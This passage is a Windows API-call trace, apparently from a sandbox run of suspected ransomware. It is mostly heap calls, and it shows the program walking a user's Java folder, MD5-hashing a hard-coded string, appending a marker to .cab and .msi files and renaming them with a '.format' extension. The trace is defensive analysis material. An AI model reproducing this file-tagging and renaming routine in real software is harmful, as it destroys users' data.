ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0 [0069.290] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.290] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a30b0 | out: hHeap=0x5d0000) returned 1 [0069.290] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.290] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a30b0 [0069.290] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.291] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.291] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.292] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.292] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.293] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.293] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0069.294] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.294] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.295] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.295] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.295] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.295] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.295] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.295] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.295] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.295] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a3018 [0069.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0069.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0069.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0069.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.295] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.295] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.295] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0069.295] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.295] PathFindFileNameW (pszPath="") returned="" [0069.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.295] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32a3018 | out: hHeap=0x5d0000) returned 1 [0069.295] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.296] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0069.296] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0069.296] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.298] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25340970) returned 1 [0069.298] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.300] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.300] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.302] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x25805, lpOverlapped=0x0) returned 1 [0069.304] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.304] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.304] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.304] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.305] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.305] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.305] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.305] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.305] GetLastError () returned 0x0 [0069.305] CryptDestroyHash (hHash=0x31befa0) returned 1 [0069.305] CryptReleaseContext (hProv=0x6abce8, dwFlags=0x0) returned 1 [0069.305] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.306] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.307] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.307] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.307] CloseHandle (hObject=0x5c8) returned 1 [0069.650] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.format")) returned 1 [0069.658] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.658] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.659] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0069.659] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0069.659] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.660] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=906752) returned 1 [0069.660] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.663] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.663] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.664] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.664] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x25805, lpOverlapped=0x0) returned 1 [0069.667] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.667] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.667] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.667] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.667] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abce8) returned 1 [0069.668] CryptCreateHash (in: hProv=0x6abce8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.668] CryptHashData (hHash=0x3276c80, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.668] CryptGetHashParam (in: hHash=0x3276c80, dwParam=0x2, pbData=0x0, 